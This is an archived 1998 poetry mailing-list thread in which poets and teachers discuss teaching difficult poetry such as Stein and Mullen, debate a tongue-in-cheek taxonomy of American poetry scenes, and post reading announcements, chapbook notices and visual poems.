meaning. Judy Grahn, in fact, says that her big revelation into how to read Gertrude Stein occured when she quit asking why is GS so difficult and realized that she (Grahn) is the one who is being difficult by expecting Gertrude Stein to do things that Gertrude Stein just doesn't do. Above all, Stein's work (as well as HD's) opened the students to Harryette Mullen's great volume -- rather than worrying about "what does this poem MEAN" the students spent every class period devoted to her work talking about all the great things she DOES. And I do mean the students: I had to do very little talking. Students found meaning in Muse and Drudge, and they got at that meaning in spite of the difficulties posed by the poem. In short, I find that most students come to college looking at poems the same way they look at algebra problems. They exist to be (re)solved. I introduced difficult poetry to show students that poetry and language in general functions quite different from the ways they have been conditioned to believe. I have no idea if I succeeded, and I won't know whether the students really liked stein or mullen until I see the evaluations (I asked the class to rank and comment on the work). But at least some of the class discussions were lively in ways they woudn't have been if I stuck w/ anthology favorites.

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

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115. groberts
Re: Technique
Wed 6 May 1998

A few of the posts on teaching and understanding difficulty have been putting these words in quotation marks-- "difficulty" "understanding"-- which serves a variety of rhetorical purposes. I have found that in the classroom, students are not sometimes aware of the range of uses to which the terms of the conversation are being put. Sometimes it may be useful to pause and gather some the usages/meanings in play for the same word. A brainstorming session in which a word like "difficult" is defined in several ways, maybe even to generate a list of meanings-in-play, can be very useful. We put on the table all the tautologies, cliches, comparisons, synonyms, antonyms, exceptions, generalizations, etc. that we can think of, then "step back" a second to see what has accumulated. The brainstorming works best in my experience if it is applied to word both in its classroom context (i.e. with respect to poetry or whatever) and in other everyday or specialized contexts ostensibly unrelated to the subject at hand (poetry or whatever). This kind of exercise can make visible the way in which a group together is trying to fashion or appropriate a jargon of tribal intersubjectivity.

Gary R.

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116. Michael Magee
Re: Technique
Wed 6 May 1998

David Zauhar: " Above all, Stein's work (as well as HD's) opened the students to Harryette Mullen's great volume -- rather than worrying about "what does this poem MEAN" the students spent every class period devoted to her work talking about all the great things she DOES. And I do mean the students: I had to do

very little talking. Students found meaning in Muse and Drudge, and they got at that meaning in spite of the difficulties posed by the poem."

I've had a very similar exerience w/ M & D as well as with Tender Buttons. Once you sell your students on a different model of reading (the hard part) they have great things to say about these works, things I would never have thought of - so it's not just that you convince them that they don't have to make meaning (i.e. that they should absorb difficult texts out of some sense that they're chic or simply b/c you told them to) - on the contrary, they make a load of meaning once you get them started. I think we sometimes sell students short in this regard - I taught Bob Perelman's "A Literal Translation of Virgil's 4th Ecologue" to my Haverford students this semester expecting a fair amount of reistence (bracing for it w/ extra preparation etc) and found that they considered it both hilariously funny and intellectually serious, and discussed it accordingly. A nice surprise for me to be sure. -m.

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117. **Henry G**
Re: Technique
Wed 6 May 1998

It sounds like an interesting class, David - but does it make sense to set up a dichotomy between (fun) doing and (boring) meaning? It's the old purloined letter trick, or hiding something in plain sight, isn't it? The Stein text still has "meanings" - and your students found them: in the surface playing with words as building blocks (I'm simplifying). Why reinforce these oppositions between old/new, doing/meaning? Like M. Magee suggested, there's pleasure in the hunt. These issues have been around forever - the Puritans reading for instruction only vs. all those wicked novels etc. But you do pay a price for excluding the effort to summarize, contextualize, respond to the meaning-implications. Writing is not all surface ornament, though as you say the opposing danger is more prevalent (slogging after the moral of the story). - Henry G.

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118. **Pritchett,Patrick**
Re: Technique
Wed 6 May 1998

The moral of the content is the form?

From: Henry G
To: [redacted]

Subject: Re: Technique
Date: Wednesday, May 06, 1998 3:12PM

It sounds like an interesting class, David - but does it make sense to set up a dichotomy between (fun) doing and (boring) meaning? It's the old purloined letter trick, or hiding something in plain sight, isn't it? The Stein text still has "meanings" - and your students found them: in the surface playing with words as building blocks (I'm simplifying). Why reinforce these oppositions between old/new, doing/meaning? Like M. Magee suggested, there's pleasure in the hunt. These issues have been around forever - the Puritans reading for instruction only vs. all those wicked novels etc. But you do pay a price for excluding the effort to summarize, contextualize, respond to the meaning-implications. Writing is not all surface ornament, though as you say the opposing danger is more prevalent (slogging after the moral of the story). - Henry G.

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119. David Zauhar
Re: Technique
Wed 6 May 1998

On Wed, 6 May 1998, Henry G wrote:

> *It sounds like an interesting class, David - but does it make sense to set up a dichotomy between (fun) doing and (boring) meaning? It's the old purloined letter trick, or hiding something in plain sight, isn't it?*

Hi Henry: any dichotomy i established was unintentional, more the result of following this thread (fun) at the same time i'm supposed to be completing some rather bureaucratic obligations (boring), and thus i rushed something that probably required more thought. I didn't mean to diss robert frost, either, but only to point out that it seems to take different approaches to read Mullen and Stein than it does to read the canonical guys. Anyway, thanks for helping to clarify the stuff that i muddled in my hasty composition.

Dave Zauhar

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120. James C. Hall
Re: Technique
Wed 6 May 1998

Emerging from deep lurk. . .

One version of the obvious: I think students get nervous about (some) poetries as they've had 15 years of testing. . . (Testing --> testy) Indeed, at the very

moment we're celebrating difficulty, they're taking 3 or 4 or 5 other classes, in which difficulty is something to be overcome...and fast. Let's be fair: one can stand at the front of the room (or even sit in the circle) and preach the joys of openness to new strategies of reading and writing, but everyone knows that sooner or later, wham-o, evaluation-time, grades, "remarks,". . . a meditation on your contribution, yuk, blah. Why should they believe us? And even if they do, its a tough go to unlearn 10 years or so of reading and writing about books as if they were tiny knowledge-nuggets.

It's not difficulty per se that is the problem. . . I can convince my students of the legitimacy of unique "languages" "styles" "rhetorical strategies" "traditions". . . oftentimes by just looking around the room and noting different approaches to dress, attitudes towards schooling, tastes in music, ways of speaking, etc. It's culture, right? The difficulty, er, is difficulty within a process of certification. Difficulty as commodity. Difficulty within a system of education that isn't so much about education as it is about the conferring of some odd authority.. . . Booga booga. You've got it. Go in peace.

Resist. . .teach more poetry.

Jim Hall.

James C. Hall
Asst. Professor of African-American Studies and English
University of Illinois at Chicago
601 S. Morgan St.
Chicago, IL 60607-7112
[redacted]

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121. Judy Roitman
Re: Technique
Wed 6 May 1998

---

but only to point out that it seems to take
>different approaches to read Mullen and Stein than it does to read the
>canonical guys

> *Dave Zauhar*

Or as my beloved hs English teacher said to me, "but I can't explicate this!"

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,

1927-1996 ---------- Note new area code ----------
http://www.math.ukans.edu/~roitman/

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122. William Burmeister Prod

Re: Technique

Wed 6 May 1998

Henry G. wrote:

> *That kind of difficulty is maybe not for its own sake but for the sake of a cult or subculture of readers who ingest meaningless difficulty for the sake of renouncing the world and joining the club.*

Nice (oppositional) viewpoints Henry. It seems that obscurity and difficulty for its own sake is the unavoidable lot of this avant-garde fin-de-seicle: the idea being in part to avoid absorption and subsequent diminution or oversimplification by mass society. There are as you say other more *difficult* , better and time honored means of doing this however. I think I understand what you mean by "joining the club" as not being representative of poet-reader relations, but rather poet-poet relations. I remember Octavio Paz talking of the existence of a poet's "secret society" of readers in an interview with Mark Strand. This enduring phrase speaks more about an economics of humanity, of the reality of minority (individual) tastes over mass tastes, of election, and even of luck. I assume that you are speaking of poets writing mainly for other poets. Pablo Neruda once remarked that he had regretted this.

> *What good is teaching "understanding" to literary production?*
>
> *What good is literary production without understanding?*

It seems that the poetics of literary production have, unwittingly, fallen in step with the times, with the techno paradigm of specialization, volume production, the consumable or throw-away, etc.

Well that does it for me. Now I know I'm wanted for questioning by the party. Maybe it's the camps for me. Sing a few bars of non nobis e te deum for me will you Henry?

The Party is always right.
- Trotsky

Rgds,

William Burmeister

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123. joel lewis
that old black magic
Wed 6 May 1998

*** Romanian cleaning woman in court for witchcraft

A cleaning woman working in a remote village hall in northeastern Romania will be brought to court on charges of witchcraft by the mayor, who fired her and confiscated her broom, a leading newspaper said Wednesday. The independent Evenimentul Zilei daily said the woman was found during office hours "burning candles on a stone" inside the village hall and "cursing hall leaders." It said the mayor planned to bring the stone to court as evidence. (Reuters)

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124. Taylor Brady
BUFFALO READING
Wed 6 May 1998

(This message comes from Dr. Robert J. Bertholf, curator of the Poetry and Rare Books Collection at SUNY, Buffalo):

"An Evening in Honor of Joel Oppenheimer"
A Poetry Reading by Lyman Gilmore

Lyman Gilmore recently published a biography of Joel Oppenheimer entitled:
"Don't Touch the Poet"

Date: Thursday, May 14, 1998
Time: 7:00 pm
Place: Talking Leaves Book Store
3144 Main Street, Buffalo, NY

FREE AND OPEN TO THE PUBLIC!!!

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125. Mary Hilton
New from primitive publications
Wed 6 May 1998

Now available from primitive publications -- "Saunter" by Joshua McKinney, a gentle yet challenging exploration of place and the desire to journey. McKinney draws upon the writings of Thoreau to conclude that the questioning of place, meaning, beauty, and nature rarely leads to a finality but does allow for a necessary wandering.

primitive publications is dedicated to bringing historically based text toward a greater accessibility, focusing on modern writing based on historical text, language or subject. Published approximately four to six times a year, the cost of one chapbook is $4.00 or $20.00 for six. Previous authors include Mary Hilton, Mark Wallace, Kristin Prevallet, Jefferson Hansen, and Sherry Brennan.

All checks may be made payable to Mary Hilton and mailed to:

primitive publications c/o Mary Hilton
1706 U Street, NW, #102
Washington, DC 20009
[redacted]

Inquiries, submissions, or requests to be included on the mailing list are welcome. Thank you. =

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126. John Tranter

Report on the Cambridge Conference of Contemporary Poetry

Wed 6 May 1998

Issue # 4 of Jacket magazine is presently being compiled.
Items of special interest so far available:

- Lugubrious, elegant and pointed ruminations by Bernardo Soares on the Cambridge Conference of Contemporary Poetry, held in Cambridge England in April 1998;

- Lawrence Joseph's review of Hans Magnus Enzensberger's new book of poems "Kiosk";

- David Lehman on the "Questions of Postmodernism".

Jacket # 4 is available, free, at

http://www.jacket.zip.com.au/jacket04/index04.html

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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127. **Samuel R. Truitt**
Re: Technique
Wed 6 May 1998

Poetry is never more that the gap between form and content.

> *The moral of the content is the form?*
> *----------*
> *From: Henry G*
> *To:* [redacted]
> *Subject: Re: Technique*
> *Date: Wednesday, May 06, 1998 3:12PM*
>
> *It sounds like an interesting class, David - but does it make sense to set up a dichotomy between (fun) doing and (boring) meaning? It's the old purloined letter trick, or hiding something in plain sight, isn't it? The Stein text still has "meanings" - and your students found them: in the surface playing with words as building blocks (I'm simplifying). Why reinforce these oppositions between old/new, doing/meaning? Like M. Magee suggested, there's pleasure in the hunt. These issues have been around forever - the Puritans reading for instruction only vs. all those wicked novels etc. But you do pay a price for excluding the effort to summarize, contextualize, respond to the meaning-implications. Writing is not all surface ornament, though as you say the opposing danger is more prevalent (slogging after the moral of the story). - Henry G.*

Nec spe nec metu

Sam Truitt
123 West 78th Street, No. 4
New York, NY 10024

[redacted]

↑ Index

128. **Henry G**
Re: Technique
Wed 6 May 1998

On Wed, 6 May 1998 20:54:35 -0400 Samuel R. Truitt said:
>Poetry is never more that the gap between form and content.
>
>>The moral of the content is the form?

OK Sam, yes, you win, nec spe nec metu. Babbling banalities. The rule is, though, as I understand it, that poetry is a sort of cosmological structure of increasing densities or destinies, gradually approaching the moral-historical

and reaching the fatal. Thus the search for "completed meaning" or the "organic" structure or wholeness of a work of art leads eventually to that transition to complete absorption. Something like what Mandelstam meant about "the meaning of a poet's life becomes clear at the moment of death". Poets on the level of Vallejo, Akhmatova, Celan, Dickinson - absorbing a life in its entirety. (This is sort of naive illusion- mongering, yet there's something to it. Many are called, few are chosen.) Who said "poetry is hero-worship"? These greatest poets cry out that life is wholeness, wholeness of meaning, completion, fruition, attainment, ripeness, abundance. There is no dialectic here, as if poetry were a vacation from decision and meaning, a sort of rebellion, a game for pampered children without consequence, a sophisticated amorality. How does that Rilke phrase go, something about at life's foundations, chance does not exist. What he means is we make a decision. There are these levels in poetry, and the greatest poems leave nothing to chance. Form and content!! Between the poet and the poem - both setting their faces toward each other - form & content are caught in a vise. - Henry Gould

↑ Index

129. Billy Little

Re: I have had to unlearn the conventional ideas first

Wed 6 May 1998

---

yes i think imitation helps and i think writing the poem out helps and hearing the poem read or reading it aloud yourself or playing with it(replacing the nouns replacing the verbs)or "translating" like Zukofsky brodsky on frost makes it clear there's understanding and UNDERSTANDING.

↑ Index

130. R. Gancie

Colossal Gamma Ray Blast

Wed 6 May 1998

"Modern science thus simply carries through in its methodology what experience has always striven after. Experience is valid only if it is confirmed; hence its dignity depends on its fundamental repeatability. But this means that experience, by its very nature, abolishes its history. This is true even of everyday experience, and how much more for any scientific version of it. Thus it is not just a chance one-sided emphasis of modern scientific theory, but has a foundation in fact, that the theory of experience is related teleologically to the truth that is derived fron it. In recent times Edmund Husserl..."---Hans-Georg Gadamer, Truth and Method.---c.p.

↑ Index

131. Linda Russo
Carto &BUFFALo
Thu 7 May 1998

Dear Taylor --

Cartografitti looks great!! i'm proud to be among that assemblage. Wendy Kramer's work looks familiar -- do you have it on your walls?
thx for fixing the spaces. I really appreciate it.
Already an e-acquiantance has emailed a response
to "as i came along"

& how is botany coming along? in my essay on women edited pubs i'd like to write something about women-edited ezines --

i have another q. -- would you happen to be looking for someone to take over your lease (assuming you and tanya are still leaving?) I'm starting to stress about the move. I'm so excited to leave that i envision selling things @ our moving sale.

& thx again -- linda

↑ Index

132. Linda Russo
Oops re: Carto Buffalo
Thu 7 May 1998

if you've read the original post, you'll notice it was missent! I hope you read it taylor!

sorry.

↑ Index

133. charles alexander
praise
Thu 7 May 1998

John Tranter

I keep coming to Jacket -- for content and for web presentation. Thank you.

Is Jacket open for submissions, e-mail or postal?

thanks,

charles alexander

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

↑ Index

134. nico vassilakis

(xo)

Thu 7 May 1998

((((((

((((((((((((((((((((((((((((((()))))))

138. **Samuel R. Truitt**
Re: Technique
Thu 7 May 1998

Thank you Henry for your thoughtful ballast.

What I was gunning to get down is that the poetic per se is outside of technique---a runway (for models or airplanes and sometimes model airplanes)----but rather a function of grace. As Aquinas pointed out grace is not a function of effort, the "vice" clench. The wholeness you speak of is there---is here--is present. The truer translation from new testament you cite is not "few choosen" but "few choose to respond." But there's a lot of choice in chance----4 out of 6 letters, those loaded dice. As a critic once wrote artists put a frame around what is already there and say "look." A kind of finger pointing, and not always a painted heaven viz Sistine Chapel. It's just not out there but here. As Rilke also wrote, "where two heartways meet there stands no temple to Apollo."

> *On Wed, 6 May 1998 20:54:35 -0400 Samuel R. Truitt said:*
> *Poetry is never more that the gap between form and content.*
>
> *The moral of the content is the form?*
>
> *OK Sam, yes, you win, nec spe nec metu. Babbling banalities.*
> *The rule is, though, as I understand it, that poetry is a sort of*
> *cosmological structure of increasing densities or destinies,*
> *gradually approaching the moral-historical and reaching the fatal.*
> *Thus the search for "completed meaning" or the "organic" structure*
> *or wholeness of a work of art leads eventually to that transition*
> *to complete absorption. Something like what Mandelstam*
> *meant about "the meaning of a poet's life becomes clear at the moment*
> *of death".*
> *Poets on the level of Vallejo, Akhmatova, Celan, Dickinson - absorbing*
> *a life in its entirety. (This is sort of naive illusion-*
> *mongering, yet there's something to it. Many are called, few are*
> *chosen.) Who said "poetry is hero-worship"? These greatest poets*
> *cry out that life is wholeness, wholeness of meaning, completion,*
> *fruition, attainment, ripeness, abundance. There is no dialectic here,*
> *as if poetry were a vacation from decision and meaning, a sort of*
> *rebellion, a game for pampered children without consequence, a sophisticated*
> *amorality. How does that Rilke phrase go, something about at life's*
> *foundations, chance does not exist. What he means is we make a decision.*
> *There are these levels in poetry, and the greatest poems leave nothing*
> *to chance. Form and content!! Between the poet and the poem - both*
> *setting their faces toward each other - form & content are caught in a*
> *vise. - Henry Gould*

Nec spe nec metu

Sam Truitt
123 West 78th Street, No. 4
New York, NY 10024

[redacted]

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139. **Jordan Davis**
loud clover swerve
Thu 7 May 1998

Rec'd in mail:

Gare du Nord vol. 2 .. Kyger, Padgett, Notley, Oliver, Milne, Jarnot, Denby, O'Hara, E. Berrigan, Mulford, Gaspar tr. Riley, Wing, Rothenberg, Kemenczky tr. Mottram.

Tripwire no. 1 .. T. Davis, Brennan, Hale, Morrison, Toscano, Sikelianos, Wallace, Lin, Buuck, Robinson.

Faucheuse 2 .. Grubbs, Bruno, Moxley, Corless-Smith, Lucas, Caples, Rohrer, J. Davis, Shakespeare tr. Jouve tr. Krukowski, Yang.

12 Possible Titles no. 1 .. Ahern, Mohre, Boggs, Snipe.

The Haiku Year .. Gilroy, Grace, McKay, Martin, Phillips, Roth, Stipe.

↑ Index

140. **Henry**
Re: Technique
Thu 7 May 1998

Completely agree with you, Sam (but is that really so about the choose rather than chosen?). Once again the "grace" definition in Trans. Friend is apropos (http://www.morningred.com/friend). I just think the fatal quality - the vise-grip of the poem - where every micro-syllable is exact and unexpected and absolute - is also an effect of grace. Grace is not only liberation and release; it's the way, it's the ultimate. The very aptitude for hard labor is a gift too. Girded. Awake and ready to go. Ready to go very out to lunch. - Henry G.

↑ Index

141. **MAYHEW**
technical difficulties
Thu 7 May 1998

Are the producers and the readers of poetry the same exact people? If so, that would explain a certain emphasis on specialized technique and poetics. The reader according to this model is either a) poet or other artist, publisher etc b) literary critic/professor or c) student. If grad student then training to be (c) or already (a). If undergrad. fulfilling misc. requirements in highly specialized areas unrelated to one another and acquiring 'cultural capital' (P. Bourdieu).

Here is my crude sociological analysis, I welcome more refined ones:

"academic poetry"--the poetry of neo-conservative Eastern elites, ivy league schools etc... Requires an educated reader, acculturated into this elite class; "intellectual" but basically accepting of received notions of aesthetics. (Richard Howard, Anthony Hecht, James Merrill; the new formalists).

"creative writing"--the poetry of the suburban, reasonably well-educated, reasonably liberal, midwestern middle classes. The kind of people that feel edified by listening to Donald Hall on NPR. Not quite as cultured in the traditional, euro-centric Eastern elite model. You don't have to know who Dante is to practice this mode, or indeed to have read any poetry before 1975. You are likely to live in the mid-west and admire William Stafford.

"language poetry"--the poetry of urban intellectuals, largely bi-costal. Education overlaps somewhat with academic poets but is less elite institutionally speaking; more likely to be autodidacts or to have studied in less conventional ways. Identified with left politics. A more oblique relation to the academic institution: Adjunct, teaching in a field other than "English" or "creative writing," librarian. Agressively intellectual about poetry, rejecting the anti-intellectualism of "creative writing" and the neo-conservative elitism of "academic poetry."

This is all I have energy for at the moment; there are perhaps two or three other categories...

Jonathan Mayhew

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142. **henry mouf**
Re: technical difficulties
Thu 7 May 1998

More, more, Jonathan! the funny thing is there are no poets in any of those categories. Here's where the real poets are:

"byt poetry" - the poetry of "byt" (everyday life). These poets are usually either on the street or trying to get there. Either in their minds or for real. Self-non-educated. They started reacting poetically to experience at a young age; this reaction has become second nature; you find them at open mikes, bars, coffee houses, tenements. Their poetry ranges from the naive to the sophisticated, the vulgar to the learned, usually in a presentation that involves some kind of exhibitionism. Whitman and King David are the great exemplars of this mode. Most of the people in the other sociological categories you mentioned consider byt poets beneath contempt; but then, these people aren't poets. This also explains why the Muse is absent in America. Right. Ask Bob Holman. - Henry again, being Henry

↑ Index

143. **ScoutEW**
Re: technical difficulties
Thu 7 May 1998

In a message dated 5/7/98 9:59:09 AM, you wrote:

<<"creative writing"--the poetry of the suburban, reasonably well-educated, reasonably liberal, midwestern middle classes. The kind of people that feel edified by listening to Donald Hall on NPR. Not quite as cultured in the traditional, euro-centric Eastern elite model. You don't have to know who Dante is to practice this mode, or indeed to have read any poetry before 1975. You are likely to live in the mid-west and admire William Stafford.

"language poetry"--the poetry of urban intellectuals, largely bi-costal. Education overlaps somewhat with academic poets but is less elite institutionally speaking; more likely to be autodidacts or to have studied in less conventional ways. Identified with left politics. A more oblique relation to the academic institution: Adjunct, teaching in a field other than "English" or "creative writing," librarian. Agressively intellectual about poetry, rejecting the anti-intellectualism of "creative writing" and the neo-conservative elitism of "academic poetry."

This is all I have energy for at the moment; there are perhaps two or three other categories...>>

Sometime things on this list make me laugh, and well this stuff is either a joke
or just too fucking much...

Erik Sweet

↑ Index

144. MAYHEW
Re: technical difficulties
Thu 7 May 1998

Well ScoutEW, it is supposed to make you laugh, AND is supposed to be too fucking much as well, in your eloquent phrase, so both goals are accomplished. As for you Henry, I reject the category of real poet who magically frees herself from all such factors. A few more categories:

amateur poetry--the poetry of all my aunts, sisters, cousins, who have published poetry. College educated on the whole, but not professionally invested in the poetry world. They publish in community college Literary magazines; are part of the clientele for "creative writing," often in less academic settings. I know more women then men in this category but that might just be my extended family.

poetry based on identity politics--this is a tricky category because it overlaps with all the preceding ones. Cherrie Moraga was here the other day and read an autobiographical narrative that stylistically was identical to "creative writing" prose, with a few Spanish words thrown in. Other identity poetry is amateur, from the sociological point of view. The poetry of elite neo-conservative gay men, while not framed as "identity politics" does express the habitus of an easily identifiable group. Identity politics also intersects with language poetry... I haven't worked this out yet; I guess what I'm talking about is poetry that expresses the aims of social movements in a fairly direct way.

JM

↑ Index

145. William Burmeister Prod
Re: technical difficulties
Thu 7 May 1998

On May 7, 11:13am, ScoutEW wrote:
> Subject: Re: technical difficulties
> In a message dated 5/7/98 9:59:09 AM, you wrote:
>
> <<"creative writing"--the poetry of the suburban, reasonably well-educated,
> reasonably liberal, midwestern middle classes. The kind of people that
> feel edified by listening to Donald Hall on NPR. Not quite as cultured in
> the traditional, euro-centric Eastern elite model. You don't have to know
> who Dante is to practice this mode, or indeed to have read any poetry
> before 1975. You are likely to live in the mid-west and admire William
> Stafford.

>
> "language poetry"--the poetry of urban intellectuals, largely bi-costal.
> Education overlaps somewhat with academic poets but is less elite
> institutionally speaking; more likely to be autodidacts or to have studied
> in less conventional ways. Identified with left politics. A more
> oblique relation to the academic institution: Adjunct, teaching in a
> field other than "English" or "creative writing," librarian. Agressively
> intellectual about poetry, rejecting the anti-intellectualism of "creative
> writing" and the neo-conservative elitism of "academic poetry."
>
> This is all I have energy for at the moment; there are perhaps two or
> three other categories...>>
>
> Sometime things on this list make me laugh, and well this stuff is either a
> joke
> or just too fucking much...
>
> Erik Sweet
>-- End of excerpt from ScoutEW

Hello Eric! I wish it were a joke. Unfortunately it is not and therefore is fucking too much I agree. Henry's assent doesn't help either.

Best,

William Burmeister

↑ Index

146. John Latta
Re: technical difficulties
Thu 7 May 1998

On Thu, 7 May 1998, MAYHEW wrote:

> *professionally invested in the poetry world*

Here's one scary notion. And one that "careers" blindly across categories. Those spinster aunts got one thing right by being not...

John Latta

↑ Index

147. **k. lederer**
Re: technical difficulties
Thu 7 May 1998

I think I'm a little confused here about language poetry--

Didn't Palmer and Hejinian go to Harvard? Scalapino to an MA at Berkeley? Watten a PhD at Berkeley?

And then there's Iowa... which at this point is basically an "academic poetry" center (lots of Ivy-League etc...)... but is also in the Midwest... with Marvin Bell still teaching here...

I would say that most of the students at Iowa study at one time or other with a member of all of the categories being posted here (including the spinster aunt...)

Best,
Katy

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148. **Michael Magee**
Re: technical difficulties
Thu 7 May 1998

"Identity politics also intersects with language poetry... I haven't worked this out yet; I guess what I'm talking about is poetry that expresses the aims of social movements in a fairly direct way.

JM"

This is beating a terminally ill horse I guess, but this seems not even to be at the level of caricature, not worked out indeed. How in the world is a Carla Harryman, a Bob Perelman, Hejinian, Bernstein, practicing "identity politics"? however else one might define them as "language poets." Is the resolute refusal of a stable subject compatible with identiy politics? Not any brand I know of. -m.

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149. **Judy Roitman**
Re: technical difficulties
Thu 7 May 1998

> *I think I'm a little confused here about language poetry--*
>
> *Didn't Palmer and Hejinian go to Harvard? Scalapino to an MA at Berkeley? Watten a PhD at Berkeley?*

> *And then there's Iowa... which at this point is basically an "academic poetry" center (lots of Ivy-League etc...)... but is also in the Midwest... with Marvin Bell still teaching here...*
>
> *I would say that most of the students at Iowa study at one time or other with a member of all of the categories being posted here (including the spinster aunt...)*
>
> *Best,*
> *Katy*

Jonathan himself works in Kansas, commutes to St. Louis. Susan Smith Nash (or is it Nash Smith, I always blow it, sorry) lives in Oklahoma. The geography is a little inaccurate.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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150. MAYHEW
Re: technical difficulties
Thu 7 May 1998

My aunts are not "spinsters," by the way; that is not a word I ever use. Plus, the ones I am thinking of are married or divorced with numerous offspring. I find it curious that the word spinster somehow insinuated itself into the discussion, through the cultural cliche "spinster aunt."

Otherwise, thanks for all your corrections.

Jonathan Mayhew

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151. **henry**
Re: technical difficulties
Thu 7 May 1998

On Thu, 7 May 1998 10:51:26 -0500 MAYHEW said:
>accomplished. As for you Henry, I reject the category of real poet who
>magically frees herself from all such factors. A few more categories:

That's the magic of it - rejection reinforces the category. - Henry can't be byt

↑ Index

152. **Christopher W. Alexander**
Re: (xo)
Thu 7 May 1998

```
c y c l o p e a n l y y e r s
y y c l o p e a n l y y e r r
cyclopeanly    e
lopian         y                    attention!! attention!!
opiano  l        y                   cyclopean players who
penche          l                    demand to be percolated
e  nor a          n
aspirant       a                     evidence of Kennedy
nominativ        e                 CIA coverup / secure
lop-ea          p                    Key
mQCNAzLdF24AAAEEALdNBHN2WDHPr/3sJX/bjpg21CINweelxy86Gjs5VEpuO
dhU
ypolicy           o
y rs ahm       l                     cannot transmit on insecure line
ecam              c
ryso            y                    .More later
save buffers   c
                                   XO
```

↑ Index

153. **William Burmeister Prod**
Re: technical difficulties
Thu 7 May 1998

On May 7, 12:44pm, henry wrote:
> Subject: Re: technical difficulties
> On Thu, 7 May 1998 10:51:26 -0500 MAYHEW said:
> >accomplished. As for you Henry, I reject the category of real poet who

> >magically frees herself from all such factors. A few more categories:
>
> That's the magic of it - rejection reinforces the category.
> - Henry can't be byt
>-- End of excerpt from henry

byt? What's that? Russian for "boot" ? :-}

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154. **henry**
Re: technical difficulties
Thu 7 May 1998

> *byt? What's that? Russian for "boot" ? :-}*

I believe it's Russian for "everyday life". Viktoria Schweitzer has a biography of Tsvetaeva titled something like "Byt i bytie" or Everydayness and eternity. Byt I think actually means something a little stronger - drabness, ordinariness, mundane.,.. it's pronounced sort of like "beat", appropriately. I'm a proto-byt poet myself. - HG

↑ Index

155. **ScoutEW**
Re: technical difficulties
Thu 7 May 1998

---

still laughing....
still laughing...

erik sweet

↑ Index

156. **Christopher W. Alexander**
Re: technical difficulties
Thu 7 May 1998

OED gives "byt" as the anglo-saxon term for byte, a unit composed of 8 bits. the earliest known ex. is in the compound "eyenbyt of inwit", which refers to the processing speed of the i586 precursor to our Pentium II chip.

thx to Jonathan for the wonderful taxonomy of contemporary po.

thx to Taylor Brady for a beautiful first iss.
of Cartographitti. thx to Alan Sondheim for
"Help help we're lost in the Cosmos I say to
the 89-year-old man sitting next to me as we
leave Campbelltown" (incl. in said iss.).

thx to everyone, just thanks.

love, thx-1138

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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157. Keston Sutherland
Reading at Harvard
Thu 7 May 1998

There will be a poetry reading in the Tonkins Room, Winthrop House, Harvard, on

Wednesday 13th May at 8.00. Featuring:

Dan Bouchard, Andrea Brady, Andrew DuBois and Keston Sutherland

The frolic is free to all, collegiate cookies and coffee and if I have anything to do with it wine will be available, also free. Books for sale etc. Please come along and support this event (a minor inroad at The Academy).

↑ Index

158. Maria Damon
Re: technical difficulties
Thu 7 May 1998

---

yeah, thanks, jonathan. i was wondering whether or not to make that --uh --intervention but it's nice to be beaten to the draw by the person supposedly being paraphrased.

At 11:43 AM -0500 5/7/98, MAYHEW wrote:
>My aunts are not "spinsters," by the way; that is not a word I ever
>use. Plus, the ones I am thinking of are married or divorced with
>numerous offspring. I find it curious that the word spinster somehow
>insinuated itself into the discussion, through the cultural cliche

>"spinster aunt."
>
>Otherwise, thanks for all your corrections.
>
>Jonathan Mayhew

↑ Index

159. **John Latta**
Re: technical difficulties
Thu 7 May 1998

On Thu, 7 May 1998, MAYHEW wrote:

> My aunts are not "spinsters," by the way; that is not a word I ever
> use. Plus, the ones I am thinking of are married or divorced with
> numerous offspring. I find it curious that the word spinster somehow
> insinuated itself into the discussion, through the cultural cliche
> "spinster aunt."
>
>
I guess if "spinster" insinuated itself into the discussion as cultural
cliche (and I did do that insinuating) it's because the taxonomy as
presented seemed its own hodge-podge of cultural cliches, which is why,
I imagine, Erik Sweet was having such a laugh.

↑ Index

160. **Hzinnes**
Re: technical difficulties
Thu 7 May 1998

---

7 May l998

Dear Katy

I laughed at your last email. So apropos!

Best

Harriet

[redacted]

↑ Index

161. joel lewis
Re: Non-Writing Readers of Poetry
Thu 7 May 1998

Must say there are a lot more of "them" out there then we poets realize. The readership of formalist folk like Hecht and Wilbur are mostly non-writers. Also got a Penguin copy of Robert Frost's Early Poems in a review box that included Alice Notley's wonderful new book. The editor of selection argues hard how Frost wanted to reach an audience, as oppossed to those crummy modernists like Pound & Eliot. Can't say I have much feeling for Frost, but I've known dozens of folks, mostly non-poets, who treasure him.

I must say I never had touble w/ the poetry audience being composed of other poets. Are we not a wee bit like Commies of yore trying to get people to pick up the sullen art? Many of us were non-writer readers briefly, but the urge to write fixed that. I mean, it ain't like taking up the cello.

I've found the best response to my work coming from non-writin' artists in other disciplines.

joel lewis

↑ Index

162. Schuchat Simon
Re: technical difficulties
Thu 7 May 1998

Jonathan's taxonomy is very amusing and also amusing are the other posts it has provoked. let me however object to his original premise, which was that only "producers" "consume" poetry, i.e., the readers and writers are the same. or that you have to at least be in an academic context to be reading poetry, of whatever ilk.

